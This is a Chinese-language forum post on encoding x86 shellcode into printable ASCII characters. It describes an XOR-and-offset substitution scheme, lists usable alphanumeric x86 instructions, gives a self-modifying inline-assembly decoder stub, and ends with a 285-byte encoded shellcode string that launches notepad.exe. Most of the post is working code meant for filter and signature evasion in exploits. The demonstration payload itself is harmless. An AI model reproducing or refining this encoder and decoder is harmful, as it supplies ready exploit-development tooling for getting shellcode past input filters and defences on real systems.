初来乍到,发此一篇,请勿见笑
一、编码:直接替换法
所谓直接替换法,简单的说,就是遇到有效字符则直接输出,遇到无效字符现输出一位标志符(例如:'0'),
然后对其进行编码后输出,解码过程只需逆向操作即可。
使用直接替换法进行编码,大小在原码的1.3 - 1.5倍左右.
ascii 字符集共0xFF个字符,其中有效的图形字符的范围为[0x21, 0x7E],若要将所有无效字符编码为[0x21, 0x7E],
只需加上一个偏移即可,然而无效字符数远大于有效字符数,一个偏移值时无法覆盖所有无效字符的,因此
我把无效字符集平分为两部分,将0x00与0xFF首尾相连,分为[0x21, 0x7E]左边0x51个,[0x21, 0x7E]右边0x51个
如下;
ascii table: |----------|----|-------------------|----|-------------------|----|-------------|
ascii: 0x00 0x20 0x21 0x7E 0x7F 0xCF 0xD0 0xFF
left-invalid valid(!= '"' ...) right-invalid left-invalid
若为左边无效字符,偏移值为[0x51, 0x5E],即:left_invalid += left_offset, left_invalid %= 256 => valid
若为右边无效字符,偏移值为[0xA3, 0xB0],即:right_invalid += right_offset, right_offset %= 256 => valid
具体选取那个偏移值视具体情况而定。
编码过程:
left_flag:标志字符,判断下一字符解码后是否为左无效字符,此处取:'0'
right_flag:标志字符,判断下一字符解码后是否为右无效字符,此处取:'1'
1. sc[i] ^= xor_byte(ascii);
2. if (sc[i] is left-invalid ascii)
=> left_flag ('0')
=> sc[i] -= left_offset [0x51, 0x5E]
3. if (sc[i] is right-invalid ascii)
=> right_flag ('1')
=> sc[i] -= right_offset [0xA3, 0xB0]
4. if (sc[i] is valid ascii)
=> sc[i]
5. => "01" // end
注:由于标志位已经使用了'0'、'1',那么在判断是否为有效字符时,还需要排除'0'、'1',最后以"01"标志结束。
为了达到更好的编码效果,在编码的第一步中,我对每个字符先进行异或,使无效字符数降到最低,而异或字节通过遍历[0x21, 0x7E]
进行选取。
二、可用的ascii指令
范围:[0x21, 0x7E] && != '"' && != '\\' ...
可以通过随机生成有效范围[0x21, 0x7E]内字节序列,然后用IDA反汇编后寻找有效指令。
我从中挑了一些比较有用的指令,如下:
1.数据传送:
push/pop eax...
pusha/popa
2.算术运算:
inc/dec eax...
sub al, 立即数
sub byte ptr [eax... + 立即数], al dl...
sub byte ptr [eax... + 立即数], ah dh...
sub dword ptr [eax... + 立即数], esi edi
sub word ptr [eax... + 立即数], si di
sub al dl..., byte ptr [eax... + 立即数]
sub ah dh..., byte ptr [eax... + 立即数]
sub esi edi, dword ptr [eax... + 立即数]
sub si di, word ptr [eax... + 立即数]
3.逻辑运算:
and al, 立即数
and dword ptr [eax... + 立即数], esi edi
and word ptr [eax... + 立即数], si di
and ah dh..., byte ptr [ecx edx... + 立即数]
and esi edi, dword ptr [eax... + 立即数]
and si di, word ptr [eax... + 立即数]
xor al, 立即数
xor byte ptr [eax... + 立即数], al dl...
xor byte ptr [eax... + 立即数], ah dh...
xor dword ptr [eax... + 立即数], esi edi
xor word ptr [eax... + 立即数], si di
xor al dl..., byte ptr [eax... + 立即数]
xor ah dh..., byte ptr [eax... + 立即数]
xor esi edi, dword ptr [eax... + 立即数]
xor si di, word ptr [eax... + 立即数]
4.比较指令:
cmp al, 立即数
cmp byte ptr [eax... + 立即数], al dl...
cmp byte ptr [eax... + 立即数], ah dh...
cmp dword ptr [eax... + 立即数], esi edi
cmp word ptr [eax... + 立即数], si di
cmp al dl..., byte ptr [eax... + 立即数]
cmp ah dh..., byte ptr [eax... + 立即数]
cmp esi edi, dword ptr [eax... + 立即数]
cmp si di, word ptr [eax... + 立即数]
5.转移指令:
push 56h
pop eax
cmp al, 43h
jnz lable
<=> jmp lable
6.交换al, ah
push eax
xor ah, byte ptr [esp] // ah ^= al
xor byte ptr [esp], ah // al ^= ah
xor ah, byte ptr [esp] // ah ^= al
pop eax
7.清零:
push 44h
pop eax
sub al, 44h ; eax = 0
push esi
push esp
pop eax
xor [eax], esi ; esi = 0
三、解码
// ascii_encoder
#define ascii_left_invalid_flag_ '0'
#define ascii_right_invalid_flag_ '1'
#define ascii_left_offset_ 54h
#define ascii_right_offset_1_ 46h
#define ascii_right_offset_2_ 5Dh // ascii_right_offset_2_ = ascii_right_offset_1_ + ascii_right_offset_2_
#define ascii_xor_byte_ 21h
#define ascii_base_offset 02h
void decoder()
{
__asm jmp sc_end
__asm sc_begin:
__asm
{
//int 3 // note: edx == base address + 1
/////////////////////////////////////////////////////////////////////////////////
// base address
// ascii_base_offset == 09h
/*
dec esp // base address: [esp - 8]
dec esp
dec esp
dec esp
dec esp
dec esp
dec esp
dec esp
pop edx
*/
// ascii_base_offset == 05h
/*
dec esp // base address: [esp - 4]
dec esp
dec esp
dec esp
pop edx
*/
// ascii_base_offset == 01h
/*
pop edx // base address: [esp]
*/
// ascii_base_offset == 02h
/*
pop edx // base address: [esp + 4]
pop edx
*/
// ascii_base_offset == 03h
/*
pop edx // base address: [esp + 8]
pop edx
pop edx
*/
// ascii_base_offset == 02h
push ecx // base address: ecx
pop edx // base address => edx
/////////////////////////////////////////////////////////////////////////////////
// padding + n bytes
//aaa // 37h
//aaa // 37h
//xor [eax], dh // 30h 30h
//xor [eax], dh
//xor [eax], dh
//xor [eax], dh
/////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////
// shellcode address
push esi
push esp
pop ecx
xor dword ptr [ecx], esi // 0 => [esp]
push 51h + ascii_base_offset
pop esi
sub dword ptr [ecx], esi // [esp] -= shellcode_offset(60h + ascii_base_offset)
pop esi // -shellcode_offset => esi
push edx // base_addr => [esp]
sub dword ptr [esp], esi
pop esi // base_addr + shellcode_offset == shellcode address => esi
push esi
pop edi // esi => edi
/////////////////////////////////////////////////////////////////////////////////
// code decoder
push 7Dh
pop ecx
sub byte ptr [edx + 36h + ascii_base_offset], cl // decode: cld == FCh == 79h - 7Dh
// +3 bytes
sub byte ptr [edx + 37h + ascii_base_offset], cl // decode: lodsb == ACh == 29h - 7Dh
// +3 bytes
sub byte ptr [edx + 3Ch + ascii_base_offset], cl // decode: lodsb == ACh == 29h - 7Dh
// +3 bytes
sub byte ptr [edx + 47h + ascii_base_offset], cl // decode: lodsb == ACh == 29h - 7Dh
// +3 bytes
sub byte ptr [edx + 4Eh + ascii_base_offset], cl // decode: stosb == AAh == 27h - 7Dh
// +3 bytes
sub byte ptr [edx + 4Fh + ascii_base_offset], cl // decode: jmp decode_loop == EBh E6h
sub byte ptr [edx + 50h + ascii_base_offset], cl // decode: EBh == 68h - 7Dh, E6h == 63h - 7Dh
// +6 bytes
push 44h
pop ecx
sub byte ptr [edx + 3Bh + ascii_base_offset], cl // decode: jnz next == 75h 07h == 75h (4Bh - 44h)
// +7 bytes
sub byte ptr [edx + 40h + ascii_base_offset], cl // decode: jz end == 74h 10h == 75h (54h - 44h)
// +3 bytes
sub byte ptr [edx + 46h + ascii_base_offset], cl // decode: jnz normal_char == 75h 05h == 75h (49h - 44h)
// +3 bytes
/////////////////////////////////////////////////////////////////////////////////
_emit 79h // cld
//cld
decode_loop:
_emit 29h // lodsb
//lodsb // [esi] => al and ++esi
cmp al, ascii_left_invalid_flag_
_emit 75h
_emit 4Bh //jnz next
//jnz next
/////////////////////////////////////////////////////////////////////////////////
// left-characters decoder
_emit 29h // lodsb
//lodsb // [esi] => al and ++esi
cmp al, ascii_right_invalid_flag_ // if (al == ascii_right_invalid_flag_)
_emit 74h
_emit 54h // "01"(end) => jz end
//jz end
sub al, ascii_left_offset_ // decode: al -= ascii_left_offset_
//jmp normal_char
//al == ascii - ascii_left_offset_ != ascii != ascii_right_invalid_flag_(acsii)
/////////////////////////////////////////////////////////////////////////////////
next:
cmp al, ascii_right_invalid_flag_
_emit 75h
_emit 49h //jnz normal_char
//jnz normal_char
/////////////////////////////////////////////////////////////////////////////////
// right-characters decoder
_emit 29h // lodsb
//lodsb // [esi] => al and ++esi
sub al, ascii_right_offset_1_
sub al, ascii_right_offset_2_ // decode: al -= right_byte_
/////////////////////////////////////////////////////////////////////////////////
normal_char:
xor al, ascii_xor_byte_ // xor-decoder
_emit 27h // stosb
//stosb // al => [edi]
_emit 68h
_emit 63h // jmp decode_loop
//jmp decode_loop
end:
// old shellcode address <= esi, edi
}
__asm sc_end:
unsigned int scLen;
unsigned char* sc;
__asm
{
lea eax, sc_begin
mov sc, eax
lea ebx, sc_end
sub ebx, eax
mov scLen, ebx
}
unsigned char sc_buf[2048];
memcpy(sc_buf, sc, scLen);
printf("decoder:\n%s\n", sc_buf);
__asm
{
lea ecx, sc_buf
push ecx
ret
}
}
以下这段是经过编码后的通用shellcode,
执行后启动的notepad.exe:
// base address => esp => jmp esp
// 285 bytes
char shellcode[]=
"TZVTY11jS^)1^R)4$^V_j}Y(J8(J9(J>(JI(JP(JQ(JRjDY(J="
"(JB(JHy)<0uK)<1tT,Y<1uI),%,~4;'hc" // decoder
"0)LdQ0db_1S:1S{71SK'191SS31S1oQ8b0,,;;;021eSKZ_;SU"
"TO^1S0XQ:k1gm?1gm3jm1SN0`1SO0nC81qm1SM0t81q0a0Krz1"
"980W0a0941(+0Z0FO30S0I<80:{0)1m0Y$N05e1Se0x80?]1S7"
"p1Se'80?1S?1S80W13eb0Q0,1b1g1g1g0bO1M7j0m1<:X1U0Ct0"
"1"
;
注:编码后的大小为原码的1.3 - 1.5倍左右,还算不错,不过由于本人汇编功底不深,
decoder写得过于庞大,希望大家帮我优化优化,而且这种方法有其局限性,只能进行
字母与符号的混合编码。